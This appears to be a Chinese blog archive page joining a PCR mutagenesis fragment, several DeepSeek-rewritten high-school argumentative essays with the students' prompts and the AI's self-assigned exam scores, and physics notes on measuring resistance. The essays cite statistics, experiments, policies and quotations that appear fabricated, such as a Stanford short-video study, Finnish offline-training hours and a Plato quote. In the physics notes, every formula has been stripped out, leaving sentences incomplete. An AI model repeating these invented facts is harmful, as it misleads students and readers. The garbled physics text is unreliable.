在蛋白质工程中，经常涉及到的一个操作是将某种氨基酸对应的 DNA 编码转换成另一种氨基酸的编码。就需要我们在保证其他碱基顺序和种类不变的情况下，定点突变目的位点的若干碱基，此时便可以使用大引物 PCR 来获得定点突变的 DNA。

开始前，我们需要准备常规上下游引物，它们将分别结合在 DNA 模板链的端位，以及一个在对应位点有过修改的突变引物。首先让上游引物与突变引物结合，进行普通 PCR，有了突变位点的影响，最终扩增出的目的基因在指定位点是有目标突变的。但是产物并非是全部的 DNA 序列（短短链），我们还需要再进行一轮 PCR，用到下游引物和突变引物，即可扩增出完整的定点突变基因。基本思路如下图：

高中语文大考作文AI升格范文积累

Sat, 22 Mar 2025 01:12:27 GMT

科技绘就斑斓画卷精神涵养丰盈人生#

当移动支付取代纸币流通，当短视频重构信息获取方式，人类正站在历史交汇处见证科技的双面性。一面是万物互联缔造的七彩霓虹，一面是算法茧房筑就的精神荒原。面对”科技让生活更丰富还是更贫乏”的叩问，我们既要为技术革新带来的物质盛宴喝彩，更要警惕虚拟世界对精神原野的侵蚀。唯有在数字浪潮中保持清醒认知，方能实现物质与精神的共轭生长。

科技蓬勃发展，以科技之盛添彩生活。

科技革命正以指数级速度重塑人类生存图景。从物联网技术让家居设备实现云端互联，到人工智能辅助医疗实现精准诊疗，科技正以前所未有的广度渗透生活细节。以北斗导航系统为例，其厘米级定位精度不仅让导航软件更精准，更支撑起共享单车、无人机配送等新兴业态，仅2023年就创造超5000亿元经济价值。正如古罗马引水渠激活城市文明，现代科技正通过解决具体需求，让生活场景呈现前所未有的丰富性。当基因测序技术将个性化医疗变为现实，当新能源技术重构能源版图，人类正在见证科技赋予物质文明的无限可能。

电子榨菜荼毒精神，以精神食粮富足思想。

但算法推送造就的”信息茧房”正在制造新型贫乏。TikTok用户日均刷屏107分钟的背后，是深度思考能力的持续退化；微信”小红点焦虑症”的蔓延，折射出注意力经济的掠夺本质。斯坦福大学实验显示，连续两周每天刷短视频3小时以上，受试者的延迟满足能力下降37%。这种即时快感供给如同精神赝品，让年轻群体陷入”刷屏-空虚-再刷屏”的莫比乌斯环。当《百年孤独》被解构成三分钟速读版，当《蒙娜丽莎》沦为拍照打卡背景，技术异化正在消解人类精神世界的纵深感。

科技丰富物质生活，防沉迷以避免精神贫乏。

破解困局需要构建科技伦理新范式。芬兰教育部门将”数字排毒”纳入课程体系，每周设置10小时离线思考训练；故宫博物院推出AR导览系统，使文物讲解时长从平均8分钟延长至23分钟。这些实践印证了技术驯化的可行性：微信读书用户年增长40%的数据表明，当科技载体承载经典内容时，数字工具便能转化为精神攀登的阶梯。防沉迷不是否定技术进步，而是通过认知升维实现人机协同，让算法服务于价值创造而非感官刺激。

站在元宇宙门槛上的当代青年，既是科技红利的享有者，更是数字文明的塑造者。当量子计算突破算力边界，我们更要守护好苏格拉底式的追问精神；当脑机接口模糊虚实界限，我们仍需保持陶渊明”采菊东篱”的清醒。唯有在享受科技便利时坚持深度阅读，在拥抱数字文明时保持独立思考，方能在物质丰裕的时代培育出葳蕤的精神绿洲，让人生既有5G速度的精彩，更具备文明厚度的丰盈。

DeepSeek 提示词

我是一名高二学生，需要将我写的议论文进行升格。题目是对“随着科技的进步，人们的生活越来越丰富多彩；但有人感觉，我们的生活却越来越贫乏单一”发表自己的看法，我的中心论点是“科技为物质生活带来丰富与色彩，同时不要沉迷电子榨菜避免精神世界的贫乏单一”，三个分论点分别是“科技蓬勃发展，以科技之盛添彩生活”、“电子榨菜荼毒精神，以精神食粮富足思想”、“科技丰富物质生活，防沉迷以避免精神贫乏”，每个分论点单独成段，紧跟一个200字左右的论证段，用上至少一个实例，论证段开头一句话解释分论点，最后总结分论点，文章首段引材料、尾段扣标题和中心论点，并发出针对于新时代青年的呼吁，请你帮我自拟一个标题，总字数800字以上

作文材料
金砖国家领导人第十六次会晤提出了“金砖伙伴国”的新概念，一国在正式获得金砖国家成员资格前可先成为伙伴国，参与金砖国家合作。这种合作模式体现了和合共生的理念，即通过包容、合作、共享的方式实现共同发展。金砖国家的合作不仅体现在经济领域，还涵盖了文化、科技、教育等多个方面，为全球南方国家的发展提供新的机遇和平台。
请结合材料，以“和合共生”为主题，写一篇文章，谈谈你对这种合作模式的思考。不少于 800 字。

和合共生启新局南联北融筑大同#

金砖国家领导人第十六次会晤创新推出”金砖伙伴国”机制，通过”准成员”身份构建阶梯式合作体系。这种以和合共生为内核的”金砖+“模式，既彰显开放包容的东方智慧，又为全球南方国家搭建了多维发展平台，堪称国际治理体系变革的破局之笔。和合共生开启国际合作新篇章，南北合作铸就共利新版图。

共生共济，构建发展共同体。以强助弱，共同进步。

和合共生打破了传统国际组织的”准入壁垒”，以渐进式合作培育共同利益基础。2023年金砖新开发银行向南非提供3亿美元贷款，帮助该国建设分布式太阳能系统，使偏远村镇首次接入现代电网。这种”技术共享+资金扶持”的协作模式，让资源禀赋各异的伙伴国在能源转型中形成互补链条。正如中国在巴西建设的智慧农业示范区，既解决了当地粮食安全问题，又创造了跨境产业链价值，真正实现了发展红利的几何级增长。由此可见，和合共生，可实现多国共同进步。

资源错配，考验均衡发展术。资源不均，为之弊端。

合作网络扩展必然面临资源分配的结构性矛盾。巴西农牧业占GDP比重达27%，但数字基建滞后导致农产品溯源体系难以建立；印度信息技术实力雄厚，却因电力供应不稳限制数据中心建设。这种”长板突出、短板明显”的现状，要求合作机制必须建立精准的资源调配体系。金砖国家应急储备安排创设的2000亿美元资金池，正是通过动态调整注资比例，确保各国在应对危机时既能获得支持又不丧失经济主权。由此可见，此种模式同样存在弊端，协调资源方为至道。

瑕不掩瑜，大势所趋利千秋。南北合作，互惠共利。

尽管存在协调成本，但和合共生的制度优势日益彰显。俄罗斯依托金砖遥感卫星群，成功预警西伯利亚森林火灾，避免重蹈澳洲山火覆辙；中国北斗系统向埃及开放高精度定位服务，使尼罗河三角洲农业灌溉效率提升40%。这些实践印证了习近平主席”独行快、众行远”的深刻洞见。当南非德班港的5G智能码头使货物周转时间缩短60%，当印度仿制药通过金砖药品监管互认体系进入非洲市场，和合共生的时代价值已然超越短期利益博弈。尽管存在弊端，仍不掩其摧残光辉。

从湄公河畔的数字经济走廊到撒哈拉以南的清洁能源网络，和合共生理念正在重塑南南合作范式。这种既承认差异又创造共识、既保持个性又构建共性的新型国际关系，恰如中国古语”和羹之美，在于合异”，为全球治理提供了超越零和博弈的东方方案。当金砖伙伴国的合作版图继续扩展，人类命运共同体的壮阔图景必将愈发清晰。

DeepSeek 提示词及自评分数

金砖国家领导人第十六次会晤提出了“金砖伙伴国”的新概念，一国在正式获得金砖国家成员资格前可先成为伙伴国，参与金砖国家合作。这种合作模式体现了和合共生的理念，即通过包容、合作、共享的方式实现共同发展。金砖国家的合作不仅体现在经济领域，还涵盖了文化、科技、教育等多个方面，为全球南方国家的发展提供新的机遇和平台请结合材料，以和合共生为主题，探讨你对这种合作方式的理解与思考，不少于800字，不多于1000字标题要求对偶；开头段要求引用材料，提出中心论点，照应标题，100字左右；三个论证段，分论点单独成段、使用对偶、简明且有深度，论证段至少使用一个实例，200字左右；结尾段重申分论点，扣题，100字左右。分论点一说和合共生的好处，分论点二阐释这种合作方式可能带来资源分配不均，分论点三说尽管有弊端但是这个合作方式利大于弊。

总分‌：19（内容） + 18（表达） + 7（深刻） + 6（丰富） + 5（文采） = ‌55 分

‌> 评语：本文紧扣主题，结构严谨，实例丰富且具有时代性，展现了对国际合作模式的深刻思考。语言凝练，文采斐然，辩证分析兼顾逻辑性与思想性。若能在资源分配问题的解决路径上进一步细化，并优化部分语句的流畅度，可臻至更高水平。

作文材料
在许多城市中，街道的命名往往承载着深厚的文化内涵和历史记忆。近年来，一些城市开始尝试将英雄的名字刻进街巷的名称中，以此纪念英雄的事迹，传承英雄的精神。例如，某市将一条街道命名为“卫国英雄街”，以纪念在边境冲突中英勇牺牲的戍边战士。这种做法引发了广泛的关注和讨论。有人认为，这是对英雄的最好纪念，能够让英雄的精神在城市中延续；也有人担心，这种做法可能会让英雄的名字被商业化利用，失去其应有的庄重感。
请结合材料，以“把英雄的名字刻进城市的街巷”为主题，写一篇文章，谈谈你对这一现象的看法和思考。要求：选准角度，确定立意，明确文体，自拟标题；不要套作，不得抄袭；不得泄露个人信息；不少于800字。

铭英雄于街巷兮铸精神于山河#

当巴黎的”伏尔泰大道”折射启蒙运动的思想锋芒，当罗马的”凯撒广场”凝固帝国荣光的千年记忆，当北京的”文天祥路”传承士大夫的浩然正气——街道名称早已超越地理符号的桎梏，成为文明传承的基因密码。面对”卫国英雄街”引发的激辩，我们当以历史眼光审视：将英雄之名镌刻街巷，既是对民族精神的庄严致敬，更需警惕商业化对文化基因的侵蚀，方能在当代语境中构建永恒的精神坐标。

街巷冠英名，文化基因永赓续。

从雅典卫城脚下的”苏格拉底巷”到圣彼得堡的”普希金大道”，伟大文明的基因库中永远保存着英雄的精神图谱。我国武汉的”中山大道”不仅承载着交通功能，更通过孙中山铜像、辛亥革命博物馆的集群效应，使”天下为公”的价值观融入城市血脉。正如《周易》所言”观乎人文，以化成天下”，当戍边战士的英名化作街巷标识时，实则是将”苟利国家生死以”的文化基因注入现代都市的毛细血管，让民族精神获得具象化载体。

‌拒铜臭染雄魄，精神净土须恪守‌。

南京”雨花台路”的命名规范堪称典范：周边禁止设立娱乐场所，商铺不得使用烈士形象营销，通过《英烈保护法》构筑起商业化的防火墙。这启示我们，守护英雄之名需要制度设计的智慧。反观某些景区将”岳飞街”变成网红打卡点的乱象，恰如柏拉图《理想国》所警示的”金质美德被铜臭腐蚀”的危机。唯有建立命名审查机制、规范商业开发边界，才能守护英雄文化的神圣性，避免民族记忆沦为消费主义的附庸。

塑价值共同体，民族精魂共凝铸。

当罗马人在图拉真广场刻下远征达契亚的浮雕，当伊斯坦布尔用”凯末尔大道”串联现代土耳其的精神图谱，可见街巷命名本质是构建价值共识的公共仪式。我国正在推进的”四史教育主题街区”工程，通过”铁人王进喜路”与石油博物馆的组合叙事，使大庆精神与当代工匠精神产生跨时空共鸣。这种创造性转化印证了费孝通”文化自觉”理论——英雄街巷应成为凝聚代际共识、培育价值认同的精神纽带。

当命名的智慧遇见守护的虔诚，当历史的厚重碰撞时代的脉搏，当商业的浪潮叩问精神的堤岸——我们终将在街巷的方寸之间，寻得民族基因的传承密码。愿每座城市都能成为英雄精神的诺亚方舟，载着文化基因穿越时空长河；愿每条街巷都化作民族精神的DNA链条，在代际传承中永葆文明的生命力！

DeepSeek 提示词及自评分数

我是一名高二学生，需要对我写的议论文进行升格，作文材料如下

在许多城市中，街道的命名往往承载着深厚的文化内涵和历史记忆。近年来，一些城市开始尝试将英雄的名字刻进街巷的名称中，以此纪念英雄的事迹，传承英雄的精神。例如，某市将一条街道命名为“卫国英雄街”，以纪念在边境冲突中英勇牺牲的戍边战士。这种做法引发了广泛的关注和讨论。有人认为，这是对英雄的最好纪念，能够让英雄的精神在城市中延续；也有人担心，这种做法可能会让英雄的名字被商业化利用，失去其应有的庄重感。请你表达你的看法，900字左右。

我原先的分论点是“以英雄为名，弘英雄之志”、“商业利用失其光彩，拒之千里以正雄名”、“英雄之名进街巷，展民族精神”，但是这三个分论点对仗不够工整、稍微欠缺深刻度，请你帮我改造一下分论点。

格式要求：标题对偶式，展现中心论点；开头段100字，引用作文材料，尽可能多去用排比句，并引出中心论点；三个分论点单独成段，论证段至少使用一个实例，尽可能多出现诸如“民族精神”、“文化基因”等学科融合的词汇，每段200字左右；结尾段总结论点，也是尽量多用排比句，尾句发表呼吁。最后再根据高考作文评分标准，自评这篇作文的得分。

自评得分（依据高考作文评分标准）

基础等级（48/50）+发展等级（8/10）=一类文上（56/60）

注：实际高考阅卷存在主观因素，此评分基于2023年新课标Ⅰ卷作文评分细则模拟测算。

作文材料
“内核”比喻事物的实质和核心部分，人的内核通常指个体最本质、最核心的部分，涉及思想、情感、价值观等内在特质，它是我们对世界的理解，是我们在生活中做出决策的基础，决定了一个人的行为方式和思维模式。内核稳定是一个人最大的底气，人生的淡定从容，来源于稳定的内核。
阅读以上材料，你有什么思考和感悟？请结合自身体验，写一篇文章。

内核如锚定沧海心灯长明照征途#

若说人生是沧海行舟，稳定的内核便是定海神锚；若说世事是迷雾丛林，澄明的内核恰似不灭心灯。材料所言”内核”恰似灵魂的罗盘，既包含思维的经纬，又承载价值的坐标，更熔铸品格的精魄。当思维、价值观与内在品质形成三位一体的稳定结构，方能锻造出”千磨万击还坚劲”的人生底气。

‌思维是内核的罗盘，校准认知坐标的永恒指向‌

系统思维构成钱学森的专业内核，让他在航天事业中构建”工程控制论”框架；辩证思维铸就王阳明的哲思内核，助他在龙场悟道时参透”知行合一”真谛。达芬奇的手稿中，解剖学原理与艺术构图相互印证，多维思维的内核赋予他超越时代的创造力。这种思维架构的稳定性，正如伽利略面对教廷审判仍坚持”地球仍在转动”的科学理性，成为穿透认知迷雾的永恒星光。

‌价值观是内核的圭臬，确立精神世界的终极法则‌

袁隆平将”让所有人远离饥饿”刻入生命年轮，九十高龄仍在田间追寻”禾下乘凉梦”，这是农业科学家价值内核的生动诠释；张桂梅用教育火把点亮深山女孩的未来，病痛缠身仍坚守华坪女中三尺讲台，昭示着教育者价值内核的璀璨光芒。敦煌守护者常书鸿放弃巴黎画室，在莫高窟风沙中坚守半个世纪，用行动证明文化守护者的价值内核永不褪色。这种价值观的稳定性，恰似黄大年放弃海外优渥条件归国研发深地探测装备，在价值多元的漩涡中锚定精神坐标。

‌品格是内核的砥柱，浇筑超越困境的精神长城‌

苏炳添以9秒83突破亚洲极限，十五年如一日0.01秒的精进，正是运动员品格内核的完美外显；江梦南从无声世界走向清华讲台，“把不可能变为可能”的坚韧，谱写着奋斗者品格内核的壮美诗篇。敦煌研究院修复团队甘坐四十年冷板凳，用”毫厘之功”守护千年壁画，这种沉静专注的品格内核，让文化传承如同大漠胡杨般生生不息。正如樊锦诗扎根敦煌五十载，用青丝白发印证守护者的品格内核，这种精神砥柱终将淬炼出穿越时空的力量。

站在文明长河回望，从商鞅”徙木立信”构建制度内核，到王夫之”六经责我开生面”重塑思想内核，华夏智者始终在锻造精神的定海神针。当思维架构如北斗指引方向，价值圭臬似日晷丈量是非，品格砥柱若长城抵御风浪，我们方能真正理解材料所言”内核稳定”的深刻意蕴。愿新时代青年以思维筑基台、以价值塑魂魄、以品格铸铁骨，在时代浪潮中铸就”风雨不动安如山”的精神内核，让人生之舟在历史长河中驶向更辽阔的星辰大海。

DeepSeek 提示词及自评分数

我是一名高中学生，需要对我的议论文进行升格，材料如下：

“内核”比喻事物的实质和核心部分，人的内核通常指个体最本质、最核心的部分，涉及思想、情感、价值观等内在特质，它是我们对世界的理解，是我们在生活中做出决策的基础，决定了一个人的行为方式和思维模式。内核稳定是一个人最大的底气，人生的淡定从容，来源于稳定的内核。写一篇文章，900字左右要求标题出现核心词，对偶句；首段引用材料，尽量用对偶句，100字左右；三个分论点单独成段，结构尽量统一，分论点展现材料中“思维、价值观、内在品质”的内在关系；论证段至少用两个实例，200字左右；尾端总结中心论点，发出呼吁，100字左右

最后根据高考作文评分标准，自评得分并给出理由

自评得分：52/60

理由：每个分论点均以”内核”为核心词构建比喻体系（罗盘/圭臬/砥柱），形成”要素+功能”的标准化结构，使”内核”要素贯穿全文。事例分析增加”内核”属性定位（如”专业内核""价值内核”），强化论点与材料的关联度。新增商鞅、王夫之等历史事例拓宽论证纵深感，结尾用”筑基台/塑魂魄/铸铁骨”对应三个分论点，形成严密闭环。语言在保持原有文采基础上更精准扣题，符合高考作文”特征鲜明”的发展等级要求。

作文材料
萧统在《文选序》中说：“老、庄之作，盖以立意为宗，不以能文为本”先秦诸子的创作注重“立意”，而非单纯追求形式的华美，但其论说大多文采斐然、自成一格。
上述材料能在更广泛的方面给人启示，阅读材料写一篇900左右的议论文。

形式为叶缀文章内在乃本立风骨#

萧统于《文选序》中有言：“老、庄之作，盖以立意为宗，不以能文为本。“先秦诸子虽不刻意雕琢辞藻，其文章却自显华彩。雕梁画栋虽夺目，终需古木深根立；金玉锦绣纵耀眼，更待明珠暗夜明。文章之道，不在辞藻堆砌之工，而在思想淬炼之深。形式如枝叶妆点文章，内在若根脉滋养思想。二者相生相长，然立意始终为文章之本。

形式为舟筏载思想，无舟难以渡江河。

唐诗严守平仄格律，却成就”飞流直下三千尺”的壮阔；八股文虽工整对仗，却沦为”代圣贤立言”的桎梏。敦煌壁画历经千年风沙，斑驳色彩间依然可见舞乐飞天的精妙线条；商周青铜器锈迹斑驳，饕餮纹饰仍诉说礼乐文明的深邃智慧。恰如《文心雕龙》所言：“文采所以饰言，而辩丽本于情性。“形式本为思想之载体，若汲汲于雕章琢句而忘立意之本，恰似空舟泛于沧海，终将迷失方向。

内在若星火照长夜，无光终将陷迷途。

《论语》言简意赅，“己所不欲勿施于人”铸就儒家仁爱丰碑；庄子汪洋恣肆，《逍遥游》以鲲鹏寓言叩问生命自由。范仲淹《岳阳楼记》不以骈四俪六见长，但凭”先天下之忧而忧”立千古胸襟；张载”横渠四句”未用繁复修辞，却以”为万世开太平”树士人风骨。如同深山古寺不假金漆彩绘，自有晨钟暮鼓荡涤心灵；幽谷芝兰无需锦帐罗帷，但凭暗香疏影沁润神魂。

内在若松柏凌霜雪，形式终作烟云散。

当思想锋芒直指苍穹，形式藩篱自当退为注脚。司马迁作《史记》突破编年体例，世家列传纵横开阖，皆服务于”究天人之际”的史学宏旨；鲁迅杂文或如匕首直刺要害，或似投枪破空而来，文体百变终为唤醒国民精神。《论语》未施华彩却成东方文明基石，历代注释浩如烟海；《道德经》不过五千言，却在全球开出万千诠释之花。正如达芬奇笔下《蒙娜丽莎》颜料剥落仍存神秘微笑，敦煌壁画斑驳陆离犹显飞天风姿，真正伟大的作品从不为形式所困。恰似陶渊明笔下桃花源，渔人再寻不见其形，却永驻世人心间——思想的璀璨星河，终将超越文体载具的局限而光照千秋。

文章之道，当以立意为筋骨，以辞采为肌肤。吾辈写作，既需锤炼修辞之工，更应追求思想之深。当效先秦诸子以思想铸剑，以情怀淬火，让文字既有金声玉振之形，更怀洞见天地之心。唯有扎根于内在的土壤，形式之花方能绽放永恒光华。

DeepSeek 提示词及自评得分 %}

我是一名高二学生，需要对我写的议论文进行升格，材料及要求如下：萧统在《文选序》中说：“老、庄之作，盖以立意为宗，不以能文为本”先秦诸子的创作注重“立意”，而非单纯追求形式的华美，但其论说大多文采斐然、自成一格上述材料能在更广泛的方面给人其实，阅读材料写一篇900左右的议论文标题要求对偶，20字以内，展示关键词“形式”和“内在”；开头段尽量多使用对偶短句，并引用作文材料，明确中心论点；三个分论点单独成段，对偶句呈现，分别从“形式”、“内在”、形式与内在的主次关系（内在大于形式）进行阐述，每段至少两个示例，每段200字左右；尾段重申中心论点，发出呼吁，100字左右最后根据新高考作文得分标准自评作文得分

根据新高考作文评分标准，本文可得53-55分（一类卷中上）。得分依据：①精准切题，全面回应材料要求；②结构严谨，对偶句式贯穿全篇；③论据丰富，涵盖文学、艺术、哲学多领域；④语言凝练，善用比喻论证。提升空间：可增加当代事例，使论证更具时代性。

电阻六讲高中物理测量未知电阻实验总结

Thu, 13 Feb 2025 10:47:23 GMT

前言#

这回没有蹩脚的文言文来影响观感了。

未知电阻的测量实验已经成为高考物理考试的实验重头戏（电学实验中与之并肩的就是测电源电动势和内阻的实验）。相比初中接触的简单的伏安法测电阻，高中教材不仅对伏安法进行了内接和外接的细分，而且还引入了实际生活中很常见的欧姆表（万用电表）测量法，以及生活中不那么常见的半偏法、电桥法、伏伏法、安安法等测量法。熟悉这些测量方法，你将在物理电学实验板块获得极大提升、甚至可能练就百题不错之身！

本文所述测量方法大致按照由易到难的顺序排列。

前置分压与限流#

何为限流式/分压式#

限流式电路如下：

可以发现限流式电路的滑动变阻器和待测电阻是一同串联在电路中的。

分压式电路如下：

可以发现从滑动变阻器开始，未知电阻和测量仪器被并联出去了。

为什么选择分压式#

从命题角度来说：初中阶段接触的是限流式解法，而高中阶段新介绍了分压法，就考试来说肯定首选分压法！

从各自的优缺点来说，限流式电路的优点很明显是简单易连接，但缺点也很明显——当滑动变阻器的最大阻值相对未知电阻来说太小时无法起到明显变动电路电流的效果；同时它还无法做到让电压表（未知电阻两端）的示数从零开始调节，浪费了很多资源。那么分压法就可以用一个小量程的滑动变阻器大幅扰动未知电阻所在电路的电流。

以上面的分压法电路图为例：当滑动变阻器的滑片在最左侧时，上半部分（未知电阻和电表）分压为；在右侧时分压为外电压（注意因为可能涉及到电源内阻的影响，此处为外电压而非电源电动势）。我们惊讶地发现，采用分压式接法，电路电流可变范围较大、且不受滑动变阻器最大阻值影响。综上，在高中阶段应该使用对实验本身更为有利的分压式接法。

但是分压式也有缺陷，就是比较难接。

Done

除非题目特殊说明，选用分压法准没错

伏安法#

伏安法是最为基础的电阻测量法，它的理论基础是电阻的定义式。

Info

物理量定义式与决定式的区别：定义式通常用来计算（当然决定式也可以），并且定义式中的量与它们所定义的物理量无关；决定式中的量与这个物理量就有关。例如你不能说诸如“电流一定时，电阻与电压成正比”的话，而是应该根据其决定式描述成：“其他条件一定时，导体电阻与它的长度成正比”。

何为内接法/外接法#

上为外接法，下为内接法。通俗来讲，内外是根据电压表是否同时在测量电流表的分压而定的。如果电流表的分压也在被电压表测量，那么就是内接法，对应到电路图就是电流表被电压表“包裹”在导线之内；反之则是外接法，电流表在电压表的“包围圈”之外。

选择依据#

首先需要明确两种接法的误差来源。对于外接法，电流表会计入电压表的分流，导致测得的电流值偏大，从而计算结果偏小；对于内接法，电压表会计入电流表的分压，导致测得的电压值偏高，从而计算结果偏大。

对于两个电表都已知，或者是知道其中某个电表的具体内阻，就根据已知内阻的电表选择相应的接法。例如，已知电压表内阻，而电流表内阻未知，应选择外接法，因为内接法会计入电流表电压，它是未知的，已知的只有它的示数，所以应用外接法。反之亦然。

对于电表内阻未知的情况。如某口诀所云：“大内偏大，小外偏小”。指的是大电阻用内接法，测量结果偏大；小电阻用外接法，测量结果偏小。当时则算小电阻，那为什么要这样选择呢？

如果定值电阻的阻值与电流表相近，那么电流表带来的影响相对就较大；反之就是电压表影响较大。例如大电阻与电压表的内阻更接近，电压表对分压的影响较大。因此当时，即时，我们更应该选择电流表在电压表之外的外接法。

图像分析#

理想状况下，定值电阻的伏安图像是一条过原点的直线。在图（横轴纵轴）中，直线的斜率即为定值电阻阻值。

欧姆表测量法#

科技进步带来许多便捷，其中就包括欧姆表。它的欧姆档内部是一个（或多个）内置电源，以及一个滑动变阻器，它们会随着量程档位的调整而产生变化。在考试中，欧姆表的原理及操作考察较为常见。

欧姆表基本原理#

欧姆表的内部内置了一个电源，以及一个表头（用来读数），和一个滑动变阻器。三者串联在一起，两头是红黑表笔。其中红表笔在内电源负极侧，黑表笔在内电源正极侧。电表均遵循“红进黑出”的原理，即电流从红笔流入、黑笔流出，那么根据此理，内电源正极就应连接黑表笔，反之亦然。欧姆表表盘的左侧是无穷大，右侧是，这和电压表、电流表的左小右大有所不同。

测量时，我们可以表示出回路的电流。即，其中为电源内阻、为表头内阻、为滑动变阻器电阻、为待测电阻。变化，回路电流也跟着变化。因此将表头绘制上电流对应的电阻值即可实现测量。进一步地，由电流表达式可得——电流与的变化关系是类似于反比例函数的形式，这样就解释了欧姆表刻度不均匀的原因了。

欧姆表基本操作#

首先需要机械调零，针对没有短接表笔时刻度未指向正无穷的情况。接下来才是欧姆调零，每次换挡测量前都需要短接表笔进行欧姆调零。接下来可以将红黑表笔接在电阻两端，结合所选挡位，可以简单计算出电阻的阻值。将表盘数字和挡位对应倍率相乘即可得到真实阻值。

总结一下就是：表笔靠上，直接读数。

欧姆表的特殊值#

或许你会疑惑，欧姆表不同挡位对应的内阻是多少呢？要解决这个问题，要先从多档位欧姆表的内部结构开始。基本结构如下图：

不难发现，具有内电源的号触头对应着欧姆档。

当我们短接表笔，表头处于满偏（注意此时读数为，代表电流达到最大值，对应电阻最小）。然而回路里并非没有电阻，事实上，满偏电流是。根据等效替代法的思想（或者说是串联电路电阻与电压的比值关系），假设我们接入一个电阻等于内阻的待测电阻，如果电源电动势不变，那么内阻和外阻应各分一半的电流，此时欧姆表指针指向中间位置，即欧姆表该档对应的中点读数是欧姆表的内阻。

电桥法测电阻#

又称惠斯通电桥（），最初由克里斯蒂发明，但因惠斯通是首个用它测量电路的科学家才得名惠斯通电桥。该方法因其较高的灵敏度而在医疗诊断、电路检测等领域有着巨大作用。电桥法测电阻的底层思想和下面这张梗图有着千丝万缕的联系：

电压负责压力电子，使之运动，运动的电子形成了电流。电桥法就是这样一个通过巧妙配比电阻的求解未知电阻的方法。

电桥法基本原理#

电桥法的基本电路如下（电压表也可换成电流表）：

当电压表两端的电压相同时，即两端电压差为时，自然会有示数为零。电桥法的核心在于让电压表的示数为零，通常来说，上图的四个电阻有一个是可调的电阻、两个是定值电阻、最后一个是待测电阻。

根据电路图可知，上下两条支路的分压是相同的。要想让电压表接头处的电压相同，我们就必须让上边两个电阻的分压、下面两个电阻的分压相同。根据串联电路知识可知，我们要让。如果两个是定值电阻，再用可变电阻调整至示数为零时，就可以计算出待测电阻的阻值了。

伏伏法#

芙芙法

伏伏法，是一种使用两个电压表测量未知电阻的方法。使用该方法的好处是：尽管使用的电表并非理想电表，这种方法仍然能够得到电阻的准确值。

伏伏法基本原理#

第一种方式的基本电路图如下：

第一个电压表用来测量外电压、第二个用来测量电阻两端电压。根据电阻定义式，我们需要想办法表示出流过待测电阻的电流大小。

假设此时测得外电压为，未知电阻两端电压为。可以知道滑动变阻器两端电压为，接着可以根据滑动变阻器的阻值（假设为）推算出干路电流为，此时再根据串联电路中电流处处相等可知未知电阻的阻值为。

第二种方式的基本电路图如下：

此时电压表接在滑动变阻器两端，同样作差表示出待测电阻两端的电压为，再用滑动变阻器的阻值表示出电流为，就可以算出待测电阻为。

安安法#

与伏伏法相对，也有一种使用两个电路板测量未知电阻的方法。这个方法的核心是表示出流经待测电阻的电流大小。好处同样是不受非理想电表内阻的影响。

安安法基本原理#

第一种方式的基本电路图如下：

作差得到流经待测电阻的电流为，又根据滑动变阻器的阻值算出支路电压为，计算得到待测电阻阻值为。

第二种方式的基本电路图如下：

直接读出流经待测电阻的电流为，作差得到流经滑动变阻器的电流，进而表示出支路电压为，计算得到待测电阻为。

半偏法#

半偏法是一种巧妙测定电表内阻的方法，它通过平分电压/电流的方法等效出电表的内阻。但只有电表才存在表盘和指针，因此该方法只能用于测定电表的内阻。与上面介绍的伏伏法和安安法相比，这种方法操作较为繁琐，而且误差是不可避免的。学习该方法，重点在于弄懂如何分析两种半偏法的误差。

限流式半偏法 / 电流表半偏法#

顾名思义，这种方法利用限流式电路来测量电流表的内阻。其基本电路图如下：

首先断开电阻箱的支路开关，并接通干路，调整滑动变阻器直到电流表满偏。接下来保持滑动变阻器的滑片不动，接通支路，此时电流表示数应有所下降，再调整支路上的电阻箱直到电表指向中心刻度，记电阻箱的阻值为。此时即测得电流表内阻为。

从电路本身的角度解释就是，电阻箱与电流表平分干路电流，按照并联电路分流规律可得。

分压式半偏法 / 电压表半偏法#

与上面的方法相对，这种方法用分压式解法来测量电压表内阻。基本电路图如下：

首先需要将电阻箱的电阻调至零，这一步其实相当于断连电阻箱，并调整滑动变阻器至电压表满偏。接下来保持滑动变阻器滑片不动，调整电阻箱直到电压表指针指向中心刻度，记录下电阻箱阻值。电压表内阻即为。

与电流表半偏法相似，该方法中电阻箱与电压表平分电压，根据串联电路分压规律，可得。

误差分析#

两种方法看起来都很有道理，然而事与愿违，两种方法都或多或少有误差的影响。电流表半偏法在滑动变阻器阻值较小时误差较大；电压表半偏法在滑动变阻器阻值较大时误差较大。可总结成一句口诀：“大牛流小鸭压，误差相反”，即滑动变阻器阻值大时用电流表半偏法，测得阻值偏小；滑动变阻器阻值小时用电压表半偏法，测得阻值偏大。

让我们分析一下两种方法的误差来源：

对于电流表半偏法，假设满偏电流为，关闭支路开关后电阻箱并联进来，此时总电阻是减小的（未并联时看作断路，阻值无穷大），因而总电流偏大。调整电阻箱让通过电流表的电流变成准确的，考虑到总电阻增大了，那么流经电阻箱的电流将略大于。根据并联电路电阻与分流的关系，可得电阻箱阻值小于电流表内阻，直接用测量值替换显然让结果偏小。
对于电压表半偏法，假设满偏电压为，调整电阻箱使之阻值变大，此时总电阻将变大（串联、并联、混联电路中任意一个阻值增大，总电阻均增大），因而外电压偏大（注意不是电动势，电动势是由电池本身性质决定的，与外电路无关）。调整电阻箱让电压表两端的电压为准确的，此时电阻箱分压应略大于。根据串联电路电阻与分压的关系，可得电阻箱阻值大于电压表内阻，替代后所得测量值偏大。

那么如何去解决这个问题呢？或者说是，为什么要在电流表半偏法中应用大滑动变阻器，而在电压表半偏法中应用小滑动变阻器。

在电流表半偏法中，滑动变阻器是串联在干路中的。假设电表内阻为，电表调至满偏后滑动变阻器的阻值为，电阻箱最终阻值为。那么接通支路开关后，总电阻就会从原先的来到。前后电流之比为，我们的目标是让比值尽可能接近，那么当且时，并联新电阻的影响较小（无法完全消除）。所以应在电流表半偏法中使用大滑动变阻器。
在电压表半偏法中，滑动变阻器是并联在干路中的。假设电表内阻为，满偏后滑动变阻器的阻值为，电阻箱最终阻值为。那么在调整电阻箱时，总电阻将从（写成这种形式是为了方便观察大小变化）变成。前后电压之比为，目标是让比值接近，那么当且时，串联新电阻的影响较小（无法完全消除）。所以应在电压表半偏法中使用小滑动变阻器。

后记 & 闲话#

